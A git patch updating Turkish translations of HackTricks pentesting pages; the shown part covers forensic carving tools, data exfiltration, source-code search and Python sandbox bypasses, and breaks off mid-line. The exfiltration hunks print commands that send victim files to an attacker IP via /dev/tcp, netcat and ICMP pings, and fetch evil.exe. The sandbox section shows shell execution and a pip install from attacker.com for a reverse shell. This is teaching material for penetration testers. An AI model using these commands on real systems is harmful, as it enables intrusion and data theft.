From f88c8e832b8682c86d573d97f142f7927d0f65e4 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 24 Mar 2024 13:33:29 +0000 Subject: [PATCH] Translated ['forensics/basic-forensic-methodology/partitions-file-system --- .../file-data-carving-recovery-tools.md | 44 +-- .../exfiltration.md | 78 ++--- .../wide-source-code-search.md | 22 +- .../python/bypass-python-sandboxes/README.md | 118 +++---- .../shells/linux.md | 82 ++--- .../shells/windows.md | 77 ++--- .../tunneling-and-port-forwarding.md | 118 +++---- .../linux-environment-variables.md | 44 ++- .../android-app-pentesting/README.md | 301 +++++++++--------- .../android-applications-basics.md | 175 +++++----- .../android-task-hijacking.md | 26 +- .../make-apk-accept-ca-certificate.md | 44 ++- mobile-pentesting/android-checklist.md | 50 +-- mobile-pentesting/ios-pentesting-checklist.md | 66 ++-- .../43-pentesting-whois.md | 20 +- .../49-pentesting-tacacs+.md | 32 +- .../7-tcp-udp-pentesting-echo.md | 22 +- .../ipsec-ike-vpn-pentesting.md | 103 +++--- .../pentesting-ftp/README.md | 78 ++--- .../pentesting-ftp/ftp-bounce-attack.md | 28 +- .../pentesting-imap.md | 28 +- .../README.md | 100 +++--- network-services-pentesting/pentesting-pop.md | 44 +-- .../pentesting-smb/rpcclient-enumeration.md | 54 ++-- .../pentesting-web/graphql.md | 206 ++++++------ .../pentesting-web/php-tricks-esp/php-ssrf.md | 18 +- .../pentesting-web/tomcat.md | 48 ++- .../tomcat/basic-tomcat-info.md | 32 +- pentesting-web/bypass-payment-process.md | 14 +- .../README.md | 253 +++++++-------- pentesting-web/cors-bypass.md | 141 ++++---- .../README.md | 130 +++----- ...ula-csv-doc-latex-ghostscript-injection.md | 50 +-- pentesting-web/h2c-smuggling.md | 99 ++---- pentesting-web/hacking-with-cookies/README.md | 111 +++---- .../cloud-ssrf.md | 96 ++---- .../url-format-bypass.md | 38 +-- .../xs-search/css-injection/README.md | 112 ++++--- .../abusing-service-workers.md | 40 +-- reversing/common-api-used-in-malware.md | 118 +++---- .../reversing-tools-basic-methods/README.md | 116 +++---- stego/stego-tricks.md | 54 ++-- todo/radio-hacking/flipper-zero/README.md | 22 +- todo/radio-hacking/flipper-zero/fz-sub-ghz.md | 76 ++--- todo/radio-hacking/proxmark-3.md | 32 +- .../checklist-windows-privilege-escalation.md | 88 ++--- .../lateral-movement/dcom-exec.md | 52 +-- 47 files changed, 1782 insertions(+), 1918 deletions(-) diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index ecc9f1e8e..974883802 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -2,11 +2,11 @@
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** @@ -16,7 +16,7 @@ HackTricks'ı desteklemenin diğer yolları: **Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -26,9 +26,9 @@ HackTricks'ı desteklemenin diğer yolları: Daha fazla araç için [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) -### Otopsi +### Autopsy -Görüntülerden dosyaları çıkarmak için forenzikte en yaygın kullanılan araç [**Otopsi**](https://www.autopsy.com/download/)'dir. İndirin, kurun ve dosyayı içeri alması için "gizli" dosyaları bulmasını sağlayın. Otopsi'nin disk görüntüleri ve diğer türdeki görüntüleri desteklemek üzere inşa edildiğini unutmayın, ancak basit dosyaları desteklemez. +Görüntülerden dosyaları çıkarmak için en yaygın kullanılan araç [**Autopsy**](https://www.autopsy.com/download/)'dir. İndirin, kurun ve dosyayı içeri alarak "gizli" dosyaları bulmasını sağlayın. Autopsy, disk görüntülerini ve diğer türdeki görüntüleri desteklemek üzere oluşturulmuştur, ancak basit dosyaları desteklemez. ### Binwalk @@ -43,7 +43,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file ``` ### Foremost -Gizli dosyaları bulmak için başka bir yaygın araç **foremost**'tir. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Belirli dosyaları aramak istiyorsanız, onları yorum satırından çıkarın. Hiçbir şeyi yorum satırından çıkarmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır. +Gizli dosyaları bulmak için başka yaygın bir araç **foremost**'tir. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Belirli dosyaları aramak istiyorsanız, onları yorum satırından çıkarın. Hiçbir şeyi yorum satırından çıkarmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır. ```bash sudo apt-get install foremost foremost -v -i file.img -o output @@ -60,13 +60,13 @@ scalpel file.img -o output Bu araç Kali içinde gelir ancak burada da bulabilirsiniz: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) -Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri**, **ağ bilgilerini (URL'ler, alan adları, IP'ler, MAC'ler, e-postaları)** ve daha fazla **dosyayı çıkarabilir**. Yapmanız gereken tek şey: +Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri**, **ağ bilgilerini (URL'ler, alan adları, IP'ler, MAC'ler, e-postaları)** ve daha fazla **dosyayı çıkaracaktır**. Yapmanız gereken tek şey: ``` bulk_extractor memory.img -o out_folder ``` ### PhotoRec -[PhotoRec](https://www.cgsecurity.org/wiki/TestDisk_Download) bulabilirsiniz. +[PhotoRec](https://www.cgsecurity.org/wiki/TestDisk_Download) bulunan bir araçtır. GUI ve CLI sürümleriyle gelir. PhotoRec'in aramasını istediğiniz **dosya türlerini** seçebilirsiniz. @@ -82,42 +82,42 @@ Kodu [buradan](https://code.google.com/archive/p/binvis/) ve [web sayfa aracın - Farklı odak noktaları için birden fazla çizim - Bir örneğin bölümlerine odaklanma - PE veya ELF yürütülebilir dosyalarda **dizileri ve kaynakları** görmek -- Dosyalardaki kriptoanaliz için **desenler** elde etme -- Paketleyici veya kodlayıcı algoritmaları **belirleme** -- Desenler aracılığıyla **Steganografiyi tanımlama** +- Dosyalarda kriptoanaliz için **desenler** elde etme +- Paketleyici veya kodlayıcı algoritmaları **tespit etme** +- Desenlere göre **Steganografi** tanımlama - **Görsel** ikili farklılaştırma -BinVis, siyah kutu senaryosunda **bilinmeyen bir hedefle tanışmak için harika bir başlangıç noktasıdır**. +BinVis, bir siyah kutu senaryosunda **bilinmeyen bir hedefle tanışmak için harika bir başlangıç noktasıdır**. -## Özel Veri Oyma Araçları +## Özel Veri Kazıma Araçları ### FindAES AES anahtarlarını arayarak anahtar programlarını arar. TrueCrypt ve BitLocker gibi kullanılan 128, 192 ve 256 bit anahtarları bulabilir. -[Şuradan](https://sourceforge.net/projects/findaes/) indirebilirsiniz. +İndirme bağlantısı [burada](https://sourceforge.net/projects/findaes/). -## Tamamlayıcı araçlar +## Tamamlayıcı Araçlar Resimleri terminalden görmek için [**viu**](https://github.com/atanunq/viu)'yu kullanabilirsiniz.\ Bir pdf'i metne dönüştürmek ve okumak için linux komut satırı aracı **pdftotext**'i kullanabilirsiniz. **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %}
-Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'i desteklemenin diğer yolları: -- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -- Özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) olan [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin -- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı takip edin. -- **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* Özel [**NFT'lerimiz olan**](https://opensea.io/collection/the-peass-family) [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı takip edin. +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
diff --git a/generic-methodologies-and-resources/exfiltration.md b/generic-methodologies-and-resources/exfiltration.md index af0adff2a..5e4b73549 100644 --- a/generic-methodologies-and-resources/exfiltration.md +++ b/generic-methodologies-and-resources/exfiltration.md @@ -2,11 +2,11 @@
-AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin! +htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** @@ -14,9 +14,9 @@ HackTricks'ı desteklemenin diğer yolları:
-**Try Hard Güvenlik Grubu** +**Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -24,9 +24,9 @@ HackTricks'ı desteklemenin diğer yolları: ## Bilgi çıkarmak için genellikle izin verilen alan adları -[https://lots-project.com/](https://lots-project.com/) adresini kontrol ederek kötüye kullanılabilecek genellikle izin verilen alan adlarını bulun +Sıkça izin verilen alan adlarını kötüye kullanabileceğiniz alan adlarını bulmak için [https://lots-project.com/](https://lots-project.com/) adresini kontrol edin -## Base64 Kopyala ve Yapıştır +## Kopyala ve Yapıştır Base64 **Linux** ```bash @@ -163,7 +163,7 @@ ftp -n -v -s:ftp.txt ``` ## SMB -Sunucu olarak Kali +Kali olarak sunucu ```bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op2> smbserver.py -smb2support name /path/folder # Share a folder @@ -194,13 +194,13 @@ Windows Exfiltration is the unauthorized transfer of data from a target system. There are various methods to exfiltrate data from a compromised system, including: 1. **Email**: Sending data as email attachments to an external email address. -2. **FTP**: Transferring data using the File Transfer Protocol to an external server. +2. **FTP**: Transferring data to an external FTP server. 3. **DNS**: Encoding data within DNS requests to leak information. -4. **HTTP/HTTPS**: Sending data over HTTP or HTTPS to a remote server. +4. **HTTP/HTTPS**: Sending data over HTTP or HTTPS protocols to a remote server. 5. **Steganography**: Hiding data within images or other files to avoid detection. -6. **Cloud Storage**: Uploading data to cloud storage services like Dropbox or Google Drive. +6. **Cloud Storage**: Uploading data to cloud storage services for later retrieval. -Exfiltration can be a critical phase in an attack, as it allows threat actors to steal sensitive information from a target organization. It is important for defenders to monitor and control outbound network traffic to detect and prevent exfiltration attempts. +It is important for pentesters to understand these exfiltration methods in order to assess the security posture of a system and recommend appropriate countermeasures. ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials @@ -210,13 +210,13 @@ WindPS-2> cd new_disk: ``` ## SCP -Saldırganın SSHd çalışıyor olmalıdır. +Saldırganın SSHd çalışıyor olması gerekmektedir. ```bash scp @:/ ``` ## SSHFS -Eğer kurbanın SSH'si varsa, saldırgan kurbanın dizinini saldırganın dizinine bağlayabilir. +Eğer kurbanın SSH'si varsa, saldırgan kurbanın dizinini saldırgana bağlayabilir. ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs @@ -224,28 +224,28 @@ sudo sshfs -o allow_other,default_permissions @ new_file nc -vn 4444 < exfil_file ``` ## /dev/tcp -### Kurbanın dosyasını indirin +### Kurbanın cihazından dosya indirme ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` -### Kurbanın cihazına dosya yükle +### Dosyayı hedefe yükle ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` -Teşekkürler **@BinaryShadow\_** - ## **ICMP** + +**ICMP (Internet Control Message Protocol)**, İnternet Protokolü (IP) üzerinden hata mesajlarını iletmek ve ağ cihazları arasında iletişimi sağlamak için kullanılan bir protokoldür. ICMP, ağ üzerindeki hataları ve durumları raporlamak için kullanılır. Bu protokol, ağ cihazları arasında bilgi alışverişi yapmak için kullanılan bir araçtır. ```bash # To exfiltrate the content of a file via pings you can do: xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done @@ -291,37 +291,15 @@ tftp -i get nc.exe ``` ## PHP -PHP ile bir dosyayı indirin: +PHP'de bir oneliner ile bir dosya indirin: ```bash echo "" > down2.php ``` ## VBScript -### VBScript Exfiltration Techniques +### VBScript Exfiltration -VBScript can be used to exfiltrate data from a compromised system. Below are some common techniques used for data exfiltration using VBScript: - -1. **HTTP Requests**: VBScript can be used to send HTTP requests to an external server controlled by the attacker. This can be used to exfiltrate data by sending it as part of the request parameters or body. - -2. **Email**: VBScript can also be used to send emails with the exfiltrated data as an attachment or within the email body. This can be done using SMTP protocols. - -3. **File Transfer**: VBScript can be used to transfer files from the compromised system to an external server using protocols like FTP or SMB. - -4. **DNS Requests**: VBScript can be used to make DNS requests to a malicious DNS server controlled by the attacker. Data can be exfiltrated by encoding it within the DNS requests. - -### Detection and Prevention - -To detect and prevent data exfiltration using VBScript, consider the following measures: - -- **Network Monitoring**: Monitor network traffic for any suspicious HTTP requests or unusual patterns that may indicate data exfiltration. - -- **Email Filtering**: Implement email filtering to detect and block any emails containing sensitive data leaving the network. - -- **File Integrity Monitoring**: Monitor file changes and transfers initiated by VBScript to detect unauthorized exfiltration of data. - -- **DNS Monitoring**: Monitor DNS requests for any unusual patterns or requests to known malicious DNS servers. - -By implementing these measures, organizations can enhance their security posture and protect against data exfiltration using VBScript. +VBScript can be used to exfiltrate data from a compromised system. This can be achieved by writing the data to a file and then sending it to an external server using various methods such as HTTP POST requests or SMTP email. VBScript can also be used to compress the data before exfiltration to minimize the size of the transferred data. ```bash Attacker> python -m SimpleHTTPServer 80 ``` @@ -359,14 +337,14 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` ## Debug.exe -`debug.exe` programı sadece ikili dosyaların incelenmesine izin vermekle kalmaz, aynı zamanda **onları onaltılıktan yeniden oluşturma yeteneğine** sahiptir. Bu, bir ikili dosyanın onaltılık bir biçimini sağlayarak `debug.exe`nin ikili dosyayı oluşturabilmesi anlamına gelir. Bununla birlikte, debug.exe'nin **64 kb boyutundaki dosyaları birleştirme sınırı** olduğunu unutmamak önemlidir. +`debug.exe` programı sadece ikili dosyaların incelenmesine izin vermekle kalmaz, aynı zamanda **onları onaltılıktan yeniden oluşturma yeteneğine** sahiptir. Bu, bir ikili dosyanın onaltılık bir biçimini sağlayarak `debug.exe`nin ikili dosyayı oluşturabileceği anlamına gelir. Bununla birlikte, debug.exe'nin **64 kb boyutundaki dosyaları birleştirme sınırı** olduğunu unutmamak önemlidir. ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` ```markdown -Ardından metni windows-shell'e kopyalayıp nc.exe adında bir dosya oluşturulacaktır. +Ardından metni windows-shell'e kopyalayıp yapıştırın ve nc.exe adında bir dosya oluşturulacaktır. * [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) @@ -376,21 +354,21 @@ Ardından metni windows-shell'e kopyalayıp nc.exe adında bir dosya oluşturula **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! +htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin! HackTricks'i desteklemenin diğer yolları: * Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı takip edin. -* Hacking püf noktalarınızı paylaşarak PR'lar göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* Özel [**NFT'lerimizden oluşan**](https://opensea.io/collection/the-peass-family) [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) takip edin. +* Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
``` diff --git a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md index aa334fb5b..815a6736e 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md +++ b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md @@ -2,7 +2,7 @@
-AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: @@ -10,41 +10,41 @@ HackTricks'ı desteklemenin diğer yolları: * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin. +* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
-**Try Hard Güvenlik Grubu** +**Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} *** -Bu sayfanın amacı, bir veya daha fazla platformda binlerce/milyonlarca depoda **kod aramaya izin veren platformları** sıralamaktır. +Bu sayfanın amacı, bir veya daha fazla platformda binlerce/milyonlarca depoda kod (doğal veya regex) aramaya izin veren **platformları sıralamaktır**. Bu, **sızdırılmış bilgileri aramak** veya **zafiyetlerin** desenlerini aramak için birkaç durumda yardımcı olur. * [**SourceGraph**](https://sourcegraph.com/search): Milyonlarca depoda arama yapın. Ücretsiz bir sürümü ve kurumsal bir sürümü (15 günlük ücretsiz) bulunmaktadır. Regex'leri destekler. * [**Github Arama**](https://github.com/search): Github üzerinde arama yapın. Regex'leri destekler. -* Belki de [**Github Kod Arama**](https://cs.github.com/) da kontrol etmek faydalı olabilir. +* Belki de [**Github Kod Arama**](https://cs.github.com/) da faydalı olabilir. * [**Gitlab Gelişmiş Arama**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Gitlab projeleri arasında arama yapın. Regex'leri destekler. * [**SearchCode**](https://searchcode.com/): Milyonlarca projede kod arayın. {% hint style="warning" %} -Bir depoda sızıntıları ararken `git log -p` gibi bir şey çalıştırdığınızda unutmayın, **diğer sırlar içeren diğer taakları** olabileceğini! +Bir depoda sızıntıları ararken ve `git log -p` gibi bir şey çalıştırırken **unutmayın ki başka sırlar içeren başka dallar olabilir**! {% endhint %} -**Try Hard Güvenlik Grubu** +**Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %}
-AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: @@ -52,6 +52,6 @@ HackTricks'ı desteklemenin diğer yolları: * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin. +* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
diff --git a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index ced893b23..cc192b0c1 100644 --- a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -1,32 +1,32 @@ -# Python kum havuzlarını atlayın +# Python kum havuzlarını atlatma
-AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Red Team Expert) ile öğrenin! +AWS hackleme konusunda sıfırdan kahramana dönüşün için htARTE (HackTricks AWS Red Team Expert) ile öğrenin! HackTricks'i desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
**Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} *** -Bu, python kum havuzlarını atlamak ve keyfi komutlar yürütmek için bazı hilelerdir. +Bu, python kum havuzu korumalarını atlatmak ve keyfi komutlar yürütmek için bazı püf noktalarıdır. ## Komut Yürütme Kütüphaneleri -Bilmeniz gereken ilk şey, zaten içe aktarılmış bir kütüphane ile doğrudan kodu yürütebilir miyim veya bu kütüphanelerden herhangi birini içe aktarabilir miyim: +Bilmemiz gereken ilk şey, zaten içe aktarılmış bir kütüphane ile doğrudan kod yürütebilir miyiz veya bu kütüphanelerden herhangi birini içe aktarabilir miyiz: ```python os.system("ls") os.popen("ls").read() @@ -59,13 +59,13 @@ open('/var/www/html/input', 'w').write('123') execfile('/usr/lib/python2.7/os.py') system('ls') ``` -Hatırlayın ki _**open**_ ve _**read**_ fonksiyonları, python sandbox'ı içindeki dosyaları okumak ve sandbox'ı **atlatmak** için **çalıştırabileceğiniz kodları yazmak** için kullanışlı olabilir. +Hatırlayın ki _**open**_ ve _**read**_ fonksiyonları, python sandbox'ı içindeki dosyaları okumak ve sandbox'ı atlatmak için **çalıştırabileceğiniz kodları yazmak** için kullanışlı olabilir. {% hint style="danger" %} -**Python2 input()** fonksiyonu programın çökmeden önce python kodunu çalıştırmaya izin verir. +**Python2 input()** fonksiyonu programın çökmeden önce python kodunu çalıştırmasına izin verir. {% endhint %} -Python, **kütüphaneleri önceki dizinden yüklemeye çalışır** (aşağıdaki komut, python'ın modülleri nereden yüklediğini yazdıracaktır): `python3 -c 'import sys; print(sys.path)'` +Python, **kütüphaneleri önceki dizinden yüklemeye çalışır** (aşağıdaki komut python'un modülleri nereden yüklediğini yazdıracaktır): `python3 -c 'import sys; print(sys.path)'` ![](<../../../.gitbook/assets/image (552).png>) @@ -73,8 +73,8 @@ Python, **kütüphaneleri önceki dizinden yüklemeye çalışır** (aşağıdak ### Varsayılan paketler -Bir **ön yüklü paketler listesini** burada bulabilirsiniz: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ -Bir pickle'dan, python ortamına sistemde yüklü **keyfi kütüphaneleri içe aktarabilirsiniz**.\ +**Önceden yüklenmiş** paketlerin listesini burada bulabilirsiniz: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ +Unutmayın ki bir pickle'dan python ortamına sisteme yüklenmiş **herhangi bir kütüphaneyi içe aktarabilirsiniz**.\ Örneğin, aşağıdaki pickle, yüklendiğinde pip kütüphanesini içe aktaracak: ```python #Note that here we are importing the pip library so the pickle is created correctly @@ -94,7 +94,7 @@ Daha fazla bilgi için pickle'ın nasıl çalıştığını kontrol edin: [https **@isHaacK** tarafından paylaşılan hile -Eğer `pip` veya `pip.main()` erişiminiz varsa, keyfi bir paket yükleyebilir ve ters kabuk alabilirsiniz. +Eğer `pip` veya `pip.main()` erişiminiz varsa, keyfi bir paket yükleyebilir ve ters kabuk almak için şunu çağırabilirsiniz: ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", 